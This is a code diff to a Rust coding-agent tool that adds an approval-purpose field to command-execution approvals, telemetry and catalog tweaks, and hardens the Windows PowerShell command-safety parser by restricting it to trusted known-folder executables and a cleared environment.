@@ -226,6 +226,7 @@ async fn run_codex_tool_session_inner( cwd, call_id, approval_id: _, + approval_purpose: _, reason: _, proposed_execpolicy_amendment: _, proposed_network_policy_amendments: _, diff --git a/codex-rs/model-provider/src/amazon_bedrock/catalog.rs b/codex-rs/model-provider/src/amazon_bedrock/catalog.rs index 55e3fdd4d8..95e522e0c4 100644 --- a/codex-rs/model-provider/src/amazon_bedrock/catalog.rs +++ b/codex-rs/model-provider/src/amazon_bedrock/catalog.rs @@ -61,6 +61,8 @@ fn gpt_5_bedrock_model(openai_slug: &str, bedrock_slug: &str, priority: i32) -> model.priority = priority; model.context_window = Some(GPT_5_BEDROCK_CONTEXT_WINDOW); model.max_context_window = Some(GPT_5_BEDROCK_CONTEXT_WINDOW); + model.availability_nux = None; + model.upgrade = None; model } @@ -127,6 +129,15 @@ mod tests { } } + #[test] + fn gpt_5_bedrock_models_do_not_include_availability_nux_or_upgrade() { + let catalog = static_model_catalog(); + + for model in catalog.models { + assert_eq!((model.availability_nux, model.upgrade), (None, None)); + } + } + #[test] fn gpt_5_6_bedrock_models_clone_gpt_5_5_config_with_max_reasoning_effort() { let catalog = static_model_catalog(); diff --git a/codex-rs/otel/src/events/session_telemetry.rs b/codex-rs/otel/src/events/session_telemetry.rs index 8210c0e5b9..440f8f04a5 100644 --- a/codex-rs/otel/src/events/session_telemetry.rs +++ b/codex-rs/otel/src/events/session_telemetry.rs @@ -910,6 +910,7 @@ impl SessionTelemetry { cached_token_count: Option, reasoning_token_count: Option, tool_token_count: i64, + ttft_ms: Option, ) { log_and_trace_event!( self, @@ -921,6 +922,7 @@ impl SessionTelemetry { cached_token_count = cached_token_count, reasoning_token_count = reasoning_token_count, tool_token_count = %tool_token_count, + ttft_ms = ttft_ms, service_tier = self.metadata.service_tier.as_deref(), model_reasoning_effort = self.metadata.model_reasoning_effort.as_deref(), }, diff --git a/codex-rs/protocol/src/approvals.rs b/codex-rs/protocol/src/approvals.rs index 5cf4f27f18..e5bcf7e8b0 100644 --- a/codex-rs/protocol/src/approvals.rs +++ b/codex-rs/protocol/src/approvals.rs @@ -214,17 +214,32 @@ pub struct GuardianAssessmentEvent { pub action: GuardianAssessmentAction, } +#[derive(Debug, Clone, Copy, Deserialize, Serialize, PartialEq, Eq, JsonSchema, TS)] +#[serde(rename_all = "snake_case")] +pub enum ExecApprovalPurpose { + Initial, + Execve, + SandboxRetry, +} + #[derive(Debug, Clone, Deserialize, Serialize, JsonSchema, TS)] pub struct ExecApprovalRequestEvent { /// Identifier for the associated command execution item. pub call_id: String, /// Identifier for this specific approval callback. /// - /// When absent, the approval is for the command item itself (`call_id`). - /// This is present for subcommand approvals (via execve intercept). + /// When present, responses must use this ID instead of the command-item + /// `call_id`. Absence preserves legacy/cacheable approval routing. #[serde(default, skip_serializing_if = "Option::is_none")] #[ts(optional)] pub approval_id: Option, + /// Semantic purpose of this approval request. + /// + /// Compatibility senders may omit this field; consumers should then use + /// [`Self::effective_approval_purpose`] for compatibility. + #[serde(default, skip_serializing_if = "Option::is_none")] + #[ts(optional)] + pub approval_purpose: Option, /// Turn ID that this command belongs to. /// Uses `#[serde(default)]` for backwards compatibility. #[serde(default)] @@ -286,6 +301,13 @@ impl ExecApprovalRequestEvent { // senders, so we fall back to the legacy logic if it's not present. match &self.available_decisions { Some(decisions) => decisions.clone(), + None if Self::is_callback_scoped( + self.approval_id.as_deref(), + self.approval_purpose, + ) => + { + vec![ReviewDecision::Approved, ReviewDecision::Abort] + } None => Self::default_available_decisions( self.network_approval_context.as_ref(), self.proposed_execpolicy_amendment.as_ref(), @@ -295,6 +317,29 @@ impl ExecApprovalRequestEvent { } } + pub fn is_callback_scoped( + approval_id: Option<&str>, + approval_purpose: Option, + ) -> bool { + approval_id.is_some() + || matches!( + approval_purpose, + Some(ExecApprovalPurpose::Execve | ExecApprovalPurpose::SandboxRetry) + ) + } + + pub fn effective_approval_purpose(&self) -> ExecApprovalPurpose { + self.approval_purpose.unwrap_or_else(|| { + if self.approval_id.is_none() { + ExecApprovalPurpose::Initial + } else if self.reason.is_some() { + ExecApprovalPurpose::SandboxRetry + } else { + ExecApprovalPurpose::Execve + } + }) + } + pub fn default_available_decisions( network_approval_context: Option<&NetworkApprovalContext>, proposed_execpolicy_amendment: Option<&ExecPolicyAmendment>, @@ -320,7 +365,7 @@ impl ExecApprovalRequestEvent { return vec![ReviewDecision::Approved, ReviewDecision::Abort]; } - let mut decisions = vec![ReviewDecision::Approved]; + let mut decisions = vec![ReviewDecision::Approved, ReviewDecision::ApprovedForSession]; if let Some(prefix) = proposed_execpolicy_amendment { decisions.push(ReviewDecision::ApprovedExecpolicyAmendment { proposed_execpolicy_amendment: prefix.clone(), @@ -417,6 +462,129 @@ mod tests { use codex_utils_absolute_path::test_support::test_path_buf; use pretty_assertions::assert_eq; + #[test] + fn cacheable_command_defaults_offer_session_and_exact_execpolicy_amendment() { + let amendment = ExecPolicyAmendment::new(vec!["cargo".to_string(), "test".to_string()]); + + assert_eq!( + ExecApprovalRequestEvent::default_available_decisions( + /*network_approval_context*/ None, + Some(&amendment), + /*proposed_network_policy_amendments*/ None, + /*additional_permissions*/ None, + ), + vec![ + ReviewDecision::Approved, + ReviewDecision::ApprovedForSession, + ReviewDecision::ApprovedExecpolicyAmendment { + proposed_execpolicy_amendment: amendment, + }, + ReviewDecision::Abort, + ] + ); + } + + #[test] + fn network_defaults_keep_exact_deny_amendment_hidden() { + let context = NetworkApprovalContext { + host: "example.com".to_string(), + protocol: NetworkApprovalProtocol::Https, + }; + let allow = NetworkPolicyAmendment { + host: context.host.clone(), + action: NetworkPolicyRuleAction::Allow, + }; + let deny = NetworkPolicyAmendment { + host: context.host.clone(), + action: NetworkPolicyRuleAction::Deny, + }; + + assert_eq!( + ExecApprovalRequestEvent::default_available_decisions( + Some(&context), + /*proposed_execpolicy_amendment*/ None, + Some(&[allow.clone(), deny]), + /*additional_permissions*/ None, + ), + vec![ + ReviewDecision::Approved, + ReviewDecision::ApprovedForSession, + ReviewDecision::NetworkPolicyAmendment { + network_policy_amendment: allow, + }, + ReviewDecision::Abort, + ] + ); + } + + #[test] + fn exec_approval_purpose_is_optional_and_overrides_legacy_inference() { + let mut value = serde_json::json!({ + "call_id": "command-item", + "approval_id": "callback", + "turn_id": "turn", + "started_at_ms": 0, + "command": ["echo", "hi"], + "cwd": test_path_buf("/tmp"), + "reason": "display text", + "parsed_cmd": [], + }); + let legacy: ExecApprovalRequestEvent = + serde_json::from_value(value.clone()).expect("legacy event"); + assert_eq!( + ( + legacy.effective_approval_purpose(), + legacy.effective_available_decisions(), + ), + ( + ExecApprovalPurpose::SandboxRetry, + vec![ReviewDecision::Approved, ReviewDecision::Abort], + ) + ); + + for (wire, expected) in [ + ("initial", ExecApprovalPurpose::Initial), + ("execve", ExecApprovalPurpose::Execve), + ("sandbox_retry", ExecApprovalPurpose::SandboxRetry), + ] { + value["approval_purpose"] = serde_json::Value::String(wire.to_string()); + let event: ExecApprovalRequestEvent = + serde_json::from_value(value.clone()).expect("event with explicit purpose"); + assert_eq!(event.effective_approval_purpose(), expected); + } + + for (approval_id, purpose, callback_scoped) in [ + (None, Some("initial"), false), + (Some("callback"), Some("initial"), true), + (None, Some("execve"), true), + (None, Some("sandbox_retry"), true), + ] { + value["approval_id"] = approval_id + .map(|id| serde_json::Value::String(id.to_string())) + .unwrap_or(serde_json::Value::Null); + value["approval_purpose"] = purpose + .map(|purpose| serde_json::Value::String(purpose.to_string())) + .unwrap_or(serde_json::Value::Null); + let mut event: ExecApprovalRequestEvent = + serde_json::from_value(value.clone()).expect("callback scope event"); + let expected = if callback_scoped { + vec![ReviewDecision::Approved, ReviewDecision::Abort] + } else { + vec![ + ReviewDecision::Approved, + ReviewDecision::ApprovedForSession, + ReviewDecision::Abort, + ] + }; + assert_eq!(event.effective_available_decisions(), expected); + event.available_decisions = Some(vec![ReviewDecision::ApprovedForSession]); + assert_eq!( + event.effective_available_decisions(), + vec![ReviewDecision::ApprovedForSession] + ); + } + } + #[test] fn guardian_assessment_action_deserializes_command_shape() { let action: GuardianAssessmentAction = serde_json::from_value(serde_json::json!({ diff --git a/codex-rs/protocol/src/config_types.rs b/codex-rs/protocol/src/config_types.rs index 83bcbdc0ae..7732efbbe5 100644 --- a/codex-rs/protocol/src/config_types.rs +++ b/codex-rs/protocol/src/config_types.rs @@ -296,23 +296,39 @@ pub enum Personality { Pragmatic, } -/// Controls whether the model receives multi-agent delegation instructions and, -/// when it does, whether it should only spawn sub-agents after an explicit user -/// request or may delegate proactively when doing so would help. `none` leaves -/// the multi-agent tools available without injecting delegation instructions. -#[derive( - Debug, Serialize, Deserialize, Clone, Copy, PartialEq, Eq, Display, JsonSchema, TS, Default, -)] -#[serde(rename_all = "camelCase")] +/// Controls the effective multi-agent delegation instructions for a turn. `custom` means the +/// configured mode hint defines the policy instead of a built-in policy. +#[derive(Debug, Serialize, Deserialize, Clone, PartialEq, Eq, Display, JsonSchema, TS, Default)] +#[serde(rename_all = "camelCase", from = "MultiAgentModeWire")] #[ts(rename_all = "camelCase")] #[strum(serialize_all = "camelCase")] pub enum MultiAgentMode { - None, + Custom(String), #[default] ExplicitRequestOnly, Proactive, } +#[derive(Deserialize)] +#[serde(rename_all = "camelCase")] +enum MultiAgentModeWire { + None, + Custom(String), + ExplicitRequestOnly, + Proactive, +} + +impl From for MultiAgentMode { + fn from(value: MultiAgentModeWire) -> Self { + match value { + MultiAgentModeWire::None => Self::Custom(String::new()), + MultiAgentModeWire::Custom(hint_text) => Self::Custom(hint_text), + MultiAgentModeWire::ExplicitRequestOnly => Self::ExplicitRequestOnly, + MultiAgentModeWire::Proactive => Self::Proactive, + } + } +} + #[derive( Debug, Serialize, Deserialize, Clone, Copy, PartialEq, Eq, Display, JsonSchema, TS, Default, )] diff --git a/codex-rs/protocol/src/protocol.rs b/codex-rs/protocol/src/protocol.rs index 96a793bcd3..59960d652e 100644 --- a/codex-rs/protocol/src/protocol.rs +++ b/codex-rs/protocol/src/protocol.rs @@ -70,6 +70,7 @@ use ts_rs::TS; pub use crate::approvals::ApplyPatchApprovalRequestEvent; pub use crate::approvals::ElicitationAction; +pub use crate::approvals::ExecApprovalPurpose; pub use crate::approvals::ExecApprovalRequestEvent; pub use crate::approvals::ExecPolicyAmendment; pub use crate::approvals::GuardianAssessmentAction; @@ -2668,7 +2669,7 @@ impl InitialHistory { | RolloutItem::WorldState(_) | RolloutItem::EventMsg(_) => None, }) - .and_then(|turn_context| turn_context.multi_agent_mode) + .and_then(|turn_context| turn_context.multi_agent_mode.clone()) } pub fn get_resumed_session_sources(&self) -> Option<(SessionSource, Option)> { @@ -5741,6 +5742,25 @@ mod tests { Ok(()) } + #[test] + fn latest_effective_multi_agent_mode_maps_legacy_none_to_empty_custom() -> Result<()> { + let value = json!({ + "cwd": test_path_buf("/tmp"), + "approval_policy": "never", + "sandbox_policy": { "type": "danger-full-access" }, + "model": "gpt-5", + "multi_agent_mode": "none", + "summary": "auto", + }); + let item = RolloutItem::TurnContext(serde_json::from_value(value)?); + + assert_eq!( + InitialHistory::Forked(vec![item]).get_latest_effective_multi_agent_mode(), + Some(MultiAgentMode::Custom(String::new())) + ); + Ok(()) + } + #[test] fn turn_context_item_serializes_network_when_present() -> Result<()> { let item = TurnContextItem { diff --git a/codex-rs/shell-command/Cargo.toml b/codex-rs/shell-command/Cargo.toml index e918488f82..6671158668 100644 --- a/codex-rs/shell-command/Cargo.toml +++ b/codex-rs/shell-command/Cargo.toml @@ -15,16 +15,23 @@ libc = { workspace = true } once_cell = { workspace = true } regex = { workspace = true } serde = { workspace = true, features = ["derive"] } -serde_json = { workspace = true } shlex = { workspace = true } tree-sitter = { workspace = true } tree-sitter-bash = { workspace = true } url = { workspace = true } which = { workspace = true } +[target.'cfg(target_os = "windows")'.dependencies] +windows-sys = { version = "0.52", features = [ + "Win32_Foundation", + "Win32_System_Com", + "Win32_UI_Shell", +] } + [dev-dependencies] anyhow = { workspace = true } pretty_assertions = { workspace = true } +tempfile = { workspace = true } [lib] doctest = false diff --git a/codex-rs/shell-command/src/command_safety/is_safe_command.rs b/codex-rs/shell-command/src/command_safety/is_safe_command.rs index bca44139cd..dfba1ea7bd 100644 --- a/codex-rs/shell-command/src/command_safety/is_safe_command.rs +++ b/codex-rs/shell-command/src/command_safety/is_safe_command.rs @@ -614,19 +614,16 @@ mod tests { } } + #[cfg(windows)] #[test] fn windows_powershell_full_path_is_safe() { - if !cfg!(windows) { - // Windows only because on Linux path splitting doesn't handle `/` separators properly - return; - } - - let Some(powershell) = crate::powershell::try_find_pwsh_executable_blocking() - .or_else(crate::powershell::try_find_powershell_executable_blocking) + let Some(powershell) = crate::command_safety::trusted_windows_powershell_invocation_path() else { - return; + panic!("Windows PowerShell must exist at the authoritative System known folder"); + }; + let Some(powershell) = powershell.to_str() else { + panic!("the Windows System known folder must be valid UTF-8"); }; - let powershell = powershell.as_path().to_str().unwrap(); assert!(is_known_safe_command(&vec_str(&[ powershell, diff --git a/codex-rs/shell-command/src/command_safety/mod.rs b/codex-rs/shell-command/src/command_safety/mod.rs index 60bed2effc..58133e55a4 100644 --- a/codex-rs/shell-command/src/command_safety/mod.rs +++ b/codex-rs/shell-command/src/command_safety/mod.rs @@ -1,7 +1,16 @@ mod powershell_parser; +mod powershell_preparse; pub mod is_dangerous_command; pub mod is_safe_command; #[cfg(windows)] pub(crate) mod windows_safe_commands; +pub(crate) use powershell_parser::PowershellParseOutcome; +pub(crate) use powershell_parser::TrustedPowerShellFlavor; +pub(crate) use powershell_parser::is_trusted_powershell_parser_executable; +pub(crate) use powershell_parser::parse_powershell_ast_commands_with_trusted_flavor; +#[cfg(all(test, windows))] +pub(crate) use powershell_parser::trusted_standard_pwsh_invocation_path; +#[cfg(all(test, windows))] +pub(crate) use powershell_parser::trusted_windows_powershell_invocation_path; pub(crate) use powershell_parser::try_parse_powershell_ast_commands; diff --git a/codex-rs/shell-command/src/command_safety/powershell_parser.ps1 b/codex-rs/shell-command/src/command_safety/powershell_parser.ps1 index 92291e7c98..ba17f52842 100644 --- a/codex-rs/shell-command/src/command_safety/powershell_parser.ps1 +++ b/codex-rs/shell-command/src/command_safety/powershell_parser.ps1 @@ -1,20 +1,22 @@ $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' +$PSModuleAutoLoadingPreference = 'None' # Long-lived PowerShell AST parser used by the Rust command-safety layer on Windows. # The caller starts one child process per PowerShell executable variant and then sends -# newline-delimited JSON requests over stdin: -# { "id": , "payload": "" } -# We answer with one compact JSON line per request: -# { "id": , "status": "ok", "commands": [["Get-Content", "foo.txt"]] } -# or: -# { "id": , "status": "parse_failed" | "parse_errors" | "unsupported" } +# tab-delimited requests over stdin: +# \t +# We answer with one tab-delimited line per request: +# \t\t +# The payload is empty for parse_failed, parse_errors, and unsupported responses. +# This protocol intentionally uses only .NET methods. In particular, it must not invoke JSON +# cmdlets because PowerShell can resolve those through a user-controlled module search path. # # "unsupported" is intentional: it means the script parsed successfully, but the AST # included constructs that we conservatively refuse to lower into argv-like command words. -# The Rust side treats that the same way as an unsafe command. +# The Rust side does not accept that response as lowered commands. -# Use BOM-free UTF-8 on the protocol stream so Rust sees clean JSON lines with no +# Use BOM-free UTF-8 on the protocol stream so Rust sees clean framed lines with no # leading BOM bytes on the first response. $utf8 = [System.Text.UTF8Encoding]::new($false) $stdin = [System.IO.StreamReader]::new([Console]::OpenStandardInput(), $utf8, $false) @@ -43,9 +45,10 @@ function Invoke-ParseRequest { } # Top-level AST regions and collections outside the end-block statement list - # can execute code that the command lowering below does not inspect. + # can affect execution in ways that the command lowering below does not represent. $cleanBlock = $ast.PSObject.Properties['CleanBlock'] if ( + $ast.ScriptRequirements -ne $null -or $ast.ParamBlock -ne $null -or $ast.DynamicParamBlock -ne $null -or $ast.BeginBlock -ne $null -or @@ -106,10 +109,47 @@ function Invoke-ParseRequest { return @{ id = $RequestId; status = 'ok'; commands = $commands } } +function Convert-CommandsToPayload { + param($Commands) + + $memory = [System.IO.MemoryStream]::new() + $writer = [System.IO.BinaryWriter]::new( + $memory, + [System.Text.UTF8Encoding]::new($false), + $true + ) + try { + $writer.Write([uint32]$Commands.Count) + foreach ($command in $Commands) { + $writer.Write([uint32]$command.Count) + foreach ($word in $command) { + $bytes = [System.Text.Encoding]::UTF8.GetBytes([string]$word) + $writer.Write([uint32]$bytes.Length) + $writer.Write($bytes) + } + } + $writer.Flush() + return [System.Convert]::ToBase64String($memory.ToArray()) + } finally { + $writer.Dispose() + $memory.Dispose() + } +} + function Write-Response { param($Response) - $stdout.WriteLine(($Response | ConvertTo-Json -Compress -Depth 3)) + $requestId = [uint64]$Response.id + $status = [string]$Response.status + $payload = '' + if ($status -eq 'ok') { + try { + $payload = Convert-CommandsToPayload $Response.commands + } catch { + $status = 'parse_failed' + } + } + $stdout.WriteLine(([string]$requestId + "`t" + $status + "`t" + $payload)) } function Convert-CommandElement { @@ -248,25 +288,21 @@ function Add-CommandsFromPipelineBase { } # This script stays alive so the Rust caller can amortize PowerShell startup across -# many parse requests. Each request and response is one compact JSON line. +# many parse requests. Each request and response is one framed line. while (($requestLine = $stdin.ReadLine()) -ne $null) { - $request = $null - try { - $request = $requestLine | ConvertFrom-Json - } catch { - Write-Response @{ id = $null; status = 'parse_failed' } + $requestParts = $requestLine.Split([char]9) + $requestId = [uint64]0 + if ( + $requestParts.Count -ne 2 -or + -not [uint64]::TryParse($requestParts[0], [ref]$requestId) + ) { + Write-Response @{ id = 0; status = 'parse_failed' } continue } # We process requests serially, but still echo the id back so the Rust side can # detect protocol desyncs instead of silently trusting mixed stdout. - $requestId = $request.id - $payload = $request.payload - if ([string]::IsNullOrEmpty($payload)) { - Write-Response @{ id = $requestId; status = 'parse_failed' } - continue - } - + $payload = $requestParts[1] try { $source = [System.Text.Encoding]::Unicode.GetString( diff --git a/codex-rs/shell-command/src/command_safety/powershell_parser.rs b/codex-rs/shell-command/src/command_safety/powershell_parser.rs index 00b18af6f0..5a845ffba3 100644 --- a/codex-rs/shell-command/src/command_safety/powershell_parser.rs +++ b/codex-rs/shell-command/src/command_safety/powershell_parser.rs @@ -1,12 +1,16 @@ use base64::Engine; use base64::engine::general_purpose::STANDARD as BASE64_STANDARD; -use serde::Deserialize; -use serde::Serialize; +#[cfg(windows)] +use codex_utils_absolute_path::AbsolutePathBuf; use std::collections::HashMap; +#[cfg(windows)] +use std::ffi::OsString; use std::io::BufRead; use std::io::BufReader; use std::io::ErrorKind; use std::io::Write; +use std::path::Path; +use std::path::PathBuf; use std::process::Child; use std::process::ChildStdin; use std::process::ChildStdout; @@ -16,7 +20,14 @@ use std::sync::LazyLock; use std::sync::Mutex; use std::sync::PoisonError; +use super::powershell_preparse::requires_preparse_rejection; + const POWERSHELL_PARSER_SCRIPT: &str = include_str!("powershell_parser.ps1"); +const MAX_POWERSHELL_RESPONSE_LINE_BYTES: usize = 8 * 1024 * 1024; +#[cfg(any(test, windows))] +const WINDOWS_POWERSHELL_SUFFIX: &str = r"WindowsPowerShell\v1.0\powershell.exe"; +#[cfg(any(test, windows))] +const WINDOWS_PWSH_SUFFIX: &str = r"PowerShell\7\pwsh.exe"; /// Cache one long-lived parser process per executable path so repeated safety checks reuse /// PowerShell startup work while still consulting the real parser every time. @@ -24,8 +35,8 @@ const POWERSHELL_PARSER_SCRIPT: &str = include_str!("powershell_parser.ps1"); /// We keep the cache behind one mutex because each child process speaks a simple /// request/response protocol over a single stdin/stdout pair, so callers targeting the same /// executable must serialize access anyway. -pub(super) fn parse_with_powershell_ast(executable: &str, script: &str) -> PowershellParseOutcome { - static PARSER_PROCESSES: LazyLock>> = +fn parse_with_powershell_ast(executable: &Path, script: &str) -> PowershellParseOutcome { + static PARSER_PROCESSES: LazyLock>> = LazyLock::new(|| Mutex::new(HashMap::new())); let mut parser_processes = PARSER_PROCESSES @@ -38,27 +49,245 @@ pub(crate) fn try_parse_powershell_ast_commands( executable: &str, script: &str, ) -> Option>> { - match parse_with_powershell_ast(executable, script) { + let parser_executable = trusted_powershell_parser_executable(executable)?; + match parse_with_powershell_ast(&parser_executable, script) { PowershellParseOutcome::Commands(commands) => Some(commands), PowershellParseOutcome::Unsupported | PowershellParseOutcome::Failed => None, } } -#[derive(Debug, PartialEq, Eq)] -pub(super) enum PowershellParseOutcome { +#[derive(Clone, Copy, Debug, Eq, PartialEq)] +pub(crate) enum TrustedPowerShellFlavor { + WindowsPowerShell, + PowerShell7, +} + +/// Parses a script with the authoritative machine-wide parser for the requested flavor. +/// +/// Unlike [`try_parse_powershell_ast_commands`], parser selection here is independent of a +/// runtime command's executable spelling. This lets callers inspect an untrusted runtime wrapper +/// without ever spawning that wrapper before approval. +pub(crate) fn parse_powershell_ast_commands_with_trusted_flavor( + flavor: TrustedPowerShellFlavor, + script: &str, +) -> PowershellParseOutcome { + #[cfg(windows)] + { + let parser_executable = match flavor { + TrustedPowerShellFlavor::WindowsPowerShell => trusted_powershell_invocation_path( + TrustedPowerShellRoot::System, + WINDOWS_POWERSHELL_SUFFIX, + ), + TrustedPowerShellFlavor::PowerShell7 => trusted_powershell_invocation_path( + TrustedPowerShellRoot::ProgramFiles, + WINDOWS_PWSH_SUFFIX, + ), + }; + let Some(parser_executable) = parser_executable else { + return PowershellParseOutcome::Failed; + }; + parse_with_powershell_ast(&parser_executable, script) + } + + #[cfg(not(windows))] + { + let _ = (flavor, script); + PowershellParseOutcome::Failed + } +} + +/// Selects the host-side parser only when the command itself names that same trusted binary. +/// +/// The parser runs before the command approval and sandbox boundaries. Bare executable names and +/// arbitrary paths are therefore not eligible: their eventual resolution can depend on the +/// workspace, current directory, or `PATH`. Returning a canonical executable derived from an +/// authoritative Windows known folder also ensures the parser spawn never receives the command's +/// attacker-controlled `argv[0]`. +fn trusted_powershell_parser_executable(executable: &str) -> Option { + #[cfg(windows)] + { + resolve_trusted_powershell_parser_executable_with( + executable, + trusted_windows_root, + canonicalize_trusted_windows_path, + Path::is_file, + ) + } + + #[cfg(not(windows))] + { + let _ = executable; + None + } +} + +pub(crate) fn is_trusted_powershell_parser_executable(executable: &str) -> bool { + trusted_powershell_parser_executable(executable).is_some() +} + +/// Returns the authoritative Windows PowerShell invocation path only when the production trust +/// resolver accepts that exact known-folder-derived path. +#[cfg(all(test, windows))] +pub(crate) fn trusted_windows_powershell_invocation_path() -> Option { + trusted_powershell_invocation_path(TrustedPowerShellRoot::System, WINDOWS_POWERSHELL_SUFFIX) +} + +/// Returns the standard machine-wide PowerShell 7 invocation path when it is installed and the +/// production trust resolver accepts it. +#[cfg(all(test, windows))] +pub(crate) fn trusted_standard_pwsh_invocation_path() -> Option { + trusted_powershell_invocation_path(TrustedPowerShellRoot::ProgramFiles, WINDOWS_PWSH_SUFFIX) +} + +#[cfg(windows)] +fn trusted_powershell_invocation_path( + root_kind: TrustedPowerShellRoot, + suffix: &str, +) -> Option { + let root = trusted_windows_root(root_kind).ok()?; + let invocation_path = join_windows_path(&root, suffix); + let invocation_path_str = invocation_path.to_str()?; + trusted_powershell_parser_executable(invocation_path_str) +} + +#[cfg(any(test, windows))] +#[derive(Clone, Copy, Debug, PartialEq, Eq)] +enum TrustedPowerShellRoot { + System, + ProgramFiles, +} + +#[cfg(any(test, windows))] +fn resolve_trusted_powershell_parser_executable_with( + executable: &str, + resolve_root: impl Fn(TrustedPowerShellRoot) -> std::io::Result, + canonicalize: impl Fn(&Path) -> std::io::Result, + is_file: impl Fn(&Path) -> bool, +) -> Option { + let normalized_executable = normalized_windows_path(executable); + + [ + (TrustedPowerShellRoot::System, WINDOWS_POWERSHELL_SUFFIX), + (TrustedPowerShellRoot::ProgramFiles, WINDOWS_PWSH_SUFFIX), + ] + .into_iter() + .find_map(|(root_kind, suffix)| { + let root = resolve_root(root_kind).ok()?; + let candidate = join_windows_path(&root, suffix); + let candidate_str = candidate.to_str()?; + if !normalized_executable.eq_ignore_ascii_case(&normalized_windows_path(candidate_str)) { + return None; + } + + let canonical_root = canonicalize(&root).ok()?; + let canonical_candidate = canonicalize(&candidate).ok()?; + let expected_candidate = join_windows_path(&canonical_root, suffix); + if !normalized_windows_path(canonical_candidate.to_str()?) + .eq_ignore_ascii_case(&normalized_windows_path(expected_candidate.to_str()?)) + || !is_file(&canonical_candidate) + { + return None; + } + + Some(canonical_candidate) + }) +} + +#[cfg(windows)] +fn join_windows_path(root: &Path, suffix: &str) -> PathBuf { + root.join(suffix) +} + +#[cfg(all(test, not(windows)))] +fn join_windows_path(root: &Path, suffix: &str) -> PathBuf { + let mut path = root + .to_string_lossy() + .trim_end_matches(['/', '\\']) + .to_string(); + path.push('\\'); + path.push_str(suffix); + PathBuf::from(path) +} + +#[cfg(any(test, windows))] +fn normalized_windows_path(path: &str) -> String { + path.strip_prefix(r"\\?\") + .unwrap_or(path) + .replace('/', "\\") +} + +#[cfg(windows)] +fn canonicalize_trusted_windows_path(path: &Path) -> std::io::Result { + AbsolutePathBuf::from_absolute_path_checked(path)? + .canonicalize() + .map(AbsolutePathBuf::into_path_buf) +} + +#[cfg(windows)] +fn trusted_windows_root(root: TrustedPowerShellRoot) -> std::io::Result { + use std::os::windows::ffi::OsStringExt; + use windows_sys::Win32::System::Com::CoTaskMemFree; + use windows_sys::Win32::UI::Shell::FOLDERID_ProgramFiles; + use windows_sys::Win32::UI::Shell::FOLDERID_System; + use windows_sys::Win32::UI::Shell::KF_FLAG_DEFAULT; + use windows_sys::Win32::UI::Shell::SHGetKnownFolderPath; + + let folder_id = match root { + TrustedPowerShellRoot::System => &FOLDERID_System, + TrustedPowerShellRoot::ProgramFiles => &FOLDERID_ProgramFiles, + }; + let mut path_ptr = std::ptr::null_mut::(); + let flags = u32::try_from(KF_FLAG_DEFAULT) + .map_err(|_| std::io::Error::other("KF_FLAG_DEFAULT did not fit in u32"))?; + // SAFETY: SHGetKnownFolderPath initializes path_ptr with a CoTaskMem-allocated, + // null-terminated UTF-16 string on success. + let hr = unsafe { SHGetKnownFolderPath(folder_id, flags, 0, &mut path_ptr) }; + if hr != 0 { + if !path_ptr.is_null() { + // SAFETY: Any non-null path returned by SHGetKnownFolderPath uses CoTaskMem. + unsafe { CoTaskMemFree(path_ptr.cast()) }; + } + return Err(std::io::Error::other(format!( + "SHGetKnownFolderPath failed with HRESULT {hr:#010x}" + ))); + } + if path_ptr.is_null() { + return Err(std::io::Error::other( + "SHGetKnownFolderPath returned a null pointer", + )); + } + + // SAFETY: path_ptr is a valid null-terminated UTF-16 string allocated by + // SHGetKnownFolderPath and is freed after copying. + let path = unsafe { + let mut len = 0usize; + while *path_ptr.add(len) != 0 { + len += 1; + } + let wide = std::slice::from_raw_parts(path_ptr, len); + let path = PathBuf::from(OsString::from_wide(wide)); + CoTaskMemFree(path_ptr.cast()); + path + }; + + Ok(path) +} + +#[derive(Clone, Debug, PartialEq, Eq)] +pub(crate) enum PowershellParseOutcome { Commands(Vec>), Unsupported, Failed, } fn parse_with_cached_process( - parser_processes: &mut HashMap, - executable: &str, + parser_processes: &mut HashMap, + executable: &Path, script: &str, ) -> PowershellParseOutcome { // `powershell.exe` and `pwsh.exe` do not accept the same language surface, so each // executable keeps its own parser process and request stream. - let parser_key = executable.to_string(); + let parser_key = executable.to_path_buf(); for attempt in 0..=1 { if !parser_processes.contains_key(&parser_key) { match PowershellParserProcess::spawn(executable) { @@ -112,8 +341,15 @@ struct PowershellParserProcess { } impl PowershellParserProcess { - fn spawn(executable: &str) -> std::io::Result { - let mut child = Command::new(executable) + fn spawn(executable: &Path) -> std::io::Result { + let mut command = Command::new(executable); + Self::spawn_command(executable, &mut command) + } + + fn spawn_command(_executable: &Path, command: &mut Command) -> std::io::Result { + #[cfg(windows)] + configure_trusted_parser_environment(_executable, command)?; + let mut child = command .args([ "-NoLogo", "-NoProfile", @@ -148,23 +384,24 @@ impl PowershellParserProcess { } fn parse(&mut self, script: &str) -> std::io::Result { + // PowerShell performs semantic work after parsing, including module and DSC discovery. + // Reject those language forms before sending attacker-controlled source to ParseInput. + if requires_preparse_rejection(script) { + return Ok(PowershellParseOutcome::Unsupported); + } + let request = PowershellParserRequest { id: self.next_request_id, payload: encode_powershell_base64(script), }; self.next_request_id = self.next_request_id.wrapping_add(1); - let mut request_json = serialize_request(&request)?; - request_json.push('\n'); - self.stdin.write_all(request_json.as_bytes())?; + let mut request_line = serialize_request(&request)?; + request_line.push('\n'); + self.stdin.write_all(request_line.as_bytes())?; self.stdin.flush()?; - let mut response_line = String::new(); - if self.stdout.read_line(&mut response_line)? == 0 { - return Err(std::io::Error::new( - ErrorKind::UnexpectedEof, - "PowerShell parser closed stdout", - )); - } + let response_line = + read_bounded_response_line(&mut self.stdout, MAX_POWERSHELL_RESPONSE_LINE_BYTES)?; let response = deserialize_response(&response_line)?; // Requests are serialized today; the id still catches protocol desyncs if stdout is @@ -184,6 +421,68 @@ impl PowershellParserProcess { } } +#[cfg(windows)] +fn configure_trusted_parser_environment( + executable: &Path, + command: &mut Command, +) -> std::io::Result<()> { + let parser_home = executable.parent().ok_or_else(|| { + std::io::Error::new( + ErrorKind::InvalidInput, + "trusted PowerShell parser has no parent directory", + ) + })?; + let parser_home = canonicalize_trusted_windows_path(parser_home)?; + let system_dir = trusted_windows_root(TrustedPowerShellRoot::System)?; + let system_dir = canonicalize_trusted_windows_path(&system_dir)?; + let windows_dir = system_dir.parent().ok_or_else(|| { + std::io::Error::new( + ErrorKind::InvalidInput, + "Windows System known folder has no parent directory", + ) + })?; + + command + .env_clear() + .env("SystemRoot", windows_dir) + .env("WINDIR", windows_dir) + .env("PSModulePath", "") + .env("POWERSHELL_TELEMETRY_OPTOUT", "1") 